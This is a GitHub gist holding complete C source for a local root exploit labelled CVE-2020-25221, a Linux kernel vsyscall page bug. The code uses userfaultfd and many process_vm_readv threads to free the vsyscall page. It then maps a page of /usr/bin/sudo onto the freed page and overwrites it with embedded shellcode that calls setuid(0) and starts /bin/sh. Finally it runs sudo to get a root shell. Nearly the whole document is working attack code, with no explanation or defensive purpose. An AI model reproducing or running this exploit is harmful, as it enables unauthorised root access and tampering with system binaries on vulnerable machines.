Created
December 6, 2020 14:31
-
-
Save d4em0n/0cb173194f2e4118626b5bafec06ecce to your computer and use it in GitHub Desktop.
CVE-2020-25221
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <sys/time.h> | |
#include <time.h> | |
#include <stdlib.h> | |
#include <sys/syscall.h> | |
#include <unistd.h> | |
#include <dlfcn.h> | |
#include <string.h> | |
#include <inttypes.h> | |
#include <sys/types.h> | |
#include <signal.h> | |
#include <sys/ucontext.h> | |
#include <errno.h> | |
#include <err.h> | |
#include <sched.h> | |
#include <stdbool.h> | |
#include <setjmp.h> | |
#include <sys/uio.h> | |
#include <poll.h> | |
#include <pthread.h> | |
#include <unistd.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <linux/userfaultfd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <asm/processor-flags.h> | |
#define PAGESIZE 4096 | |
// small elf file that can execute setuid(0); execve("/bin/sh",0,0); | |
// setuid binary will be overwrite with this | |
char * payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"; | |
void DumpHex(const void * data, size_t size) { | |
char ascii[17]; | |
size_t i, j; | |
ascii[16] = '\0'; | |
for (i = 0; i < size; ++i) { | |
printf("%02X ", ((unsigned char * ) data)[i]); | |
if (((unsigned char * ) data)[i] >= ' ' && ((unsigned char * ) data)[i] <= '~') { | |
ascii[i % 16] = ((unsigned char * ) data)[i]; | |
} else { | |
ascii[i % 16] = '.'; | |
} | |
if ((i + 1) % 8 == 0 || i + 1 == size) { | |
printf(" "); | |
if ((i + 1) % 16 == 0) { | |
printf("| %s \n", ascii); | |
} else if (i + 1 == size) { | |
ascii[(i + 1) % 16] = '\0'; | |
if ((i + 1) % 16 <= 8) { | |
printf(" "); | |
} | |
for (j = (i + 1) % 16; j < 16; ++j) { | |
printf(" "); | |
} | |
printf("| %s \n", ascii); | |
} | |
} | |
} | |
} | |
int pid = 0; | |
int userfaultfd(int flags) { | |
return syscall(323, flags); // userfaultfd | |
} | |
int prepareUFD(void * pages, unsigned long memsize) { | |
int fd = 0; | |
if ((fd = userfaultfd(O_NONBLOCK)) == -1) { | |
fprintf(stderr, "++ userfaultfd failed: %m\n"); | |
exit(-1); | |
} | |
struct uffdio_api api = { | |
.api = UFFD_API | |
}; | |
if (ioctl(fd, UFFDIO_API, & api)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (api.api != UFFD_API) { | |
fprintf(stderr, "++ unexepcted UFFD api version.\n"); | |
exit(-1); | |
} | |
struct uffdio_register reg = { | |
.mode = UFFDIO_REGISTER_MODE_MISSING, | |
.range = { | |
.start = (long) pages, | |
.len = memsize | |
} | |
}; | |
if (ioctl(fd, UFFDIO_REGISTER, & reg)) { | |
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); | |
exit(-1); | |
} | |
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) { | |
fprintf(stderr, "++ unexpected UFFD ioctls.\n"); | |
exit(-1); | |
} | |
return fd; | |
} | |
void * process_vm_readv_hack(void * memory) { | |
struct iovec local, remote; | |
int ret; | |
local.iov_base = memory; | |
local.iov_len = 4096; | |
remote.iov_base = (void * ) 0xffffffffff600000; | |
remote.iov_len = 4096; | |
ret = process_vm_readv(pid, & local, 1, & remote, 1, 0); | |
} | |
static int exploit_all_the_things(void) { | |
char buf[4096]; | |
void * pageufd; | |
void * pages[1024]; | |
void * pages2[10000]; | |
int fds[1024]; | |
int i; | |
struct iovec local, remote; | |
int ret; | |
char dummy[1024]; | |
int fdp = open("/usr/bin/sudo", O_RDONLY); | |
pid = getpid(); | |
local.iov_base = buf; | |
local.iov_len = 4096; | |
remote.iov_base = (void * ) 0xffffffffff600000; | |
remote.iov_len = 4096; | |
printf("BUMP vsyscall refcount to 1024\n"); | |
for (i = 0; i < 1; i++) { | |
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
printf("create page%d=%p\n", i, pages[i]); | |
fds[i] = prepareUFD(pages[i], 0x1000); | |
} | |
pthread_t thread[1024] = {}; | |
for (i = 0; i < 1022; i++) { | |
if (pthread_create( & thread[i], NULL, process_vm_readv_hack, pages[0])) { | |
fprintf(stderr, "++ pthread_create failed: %m\n"); | |
return -1; | |
} | |
} | |
printf("Done\n"); | |
printf("Trigerring bug: put back vsyscall page to buddy allocator"); | |
getchar(); | |
ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0); | |
int total1 = 0; | |
printf("Reallocating read write page which make vsyscall point to the this new page..\n"); | |
for (i = 0; i < 64; i++) { | |
char namefile[20]; | |
sprintf(namefile, "file%d", i); | |
int file_fd = syscall(__NR_memfd_create, namefile, 0); | |
if (ftruncate(file_fd, PAGESIZE)) err(1, "trunc init"); | |
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, file_fd, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
printf("create %d page%d=%p\n", file_fd, i, pages[i]); | |
memset(pages[i], 'A', 0x800); | |
total1 += 1; | |
if ( * (char * )(void * )(0xffffffffff600000) == 'A') { | |
printf("Success! vsyscall page now is A*0x800\n"); | |
break; | |
} | |
} | |
printf("Now we have vsyscall and %p point to the same physical page\n", pages[total1 - 1]); | |
printf("DUMP VSYSCALL: "); | |
DumpHex((void * )(0xffffffffff600000), 16); | |
printf("BUMP vsyscall refcount to 1024 again!"); | |
getchar(); | |
if ((pageufd = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
printf("create page%d=%p\n", i, pageufd); | |
prepareUFD(pageufd, 0x1000); | |
for (i = 0; i < 1022; i++) { | |
// printf("creating thread%d, alloc mem=%p\n", i, pageufd); | |
if (pthread_create( & thread[i], NULL, process_vm_readv_hack, pageufd)) { | |
fprintf(stderr, "++ pthread_create failed: %m\n"); | |
return -1; | |
} | |
} | |
printf("Done again"); | |
getchar(); | |
printf("Trigerring bug again: put back vsyscall page also %p to buddy allocator\n", pages[0]); | |
printf("We can still use %p after the page freed\n", pages[0]); | |
ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0); | |
int total2 = 0; | |
printf("Reallocating read only page from %s\n", "/usr/bin/sudo"); | |
for (i = 0; i < 900; i++) { | |
int file_fd; | |
file_fd = fdp; | |
if ((pages2[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_EXEC, MAP_SHARED, file_fd, 0)) == MAP_FAILED) { | |
fprintf(stderr, "++ mmap failed: %m\n"); | |
return -1; | |
} | |
// printf("create page%d=%p\n", i, pages2[i]); | |
// memset(pages2[i], 'X', 0x800); | |
DumpHex(pages2[i], 16); | |
total2 += 1; | |
if ( * (char * ) pages[0] != 'A') { | |
printf("Success!: Page allocated from /usr/bin/sudo to %p\n", pages2[i]); | |
printf("Success!: %p and %p point to the same physical memory page\n", pages[0], pages2[i]); | |
printf("We can write %p to overwrite read only page %p\n", pages[0], pages2[i]); | |
break; | |
} | |
} | |
printf("DUMP pages[0]: "); | |
DumpHex(pages[i], 16); | |
if ( * (char * ) pages[0] != '\x7f') { | |
printf("Failed :(\n"); | |
return -1; | |
} | |
printf("almost done!"); | |
getchar(); | |
memcpy(pages[0], payload, 168); | |
printf("/usr/bin/sudo overwrited!\n"); | |
printf("Executing sudo!\n"); | |
system("sudo"); | |
return 0; | |
} | |
int main(int argc, char ** argv) { | |
exploit_all_the_things(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment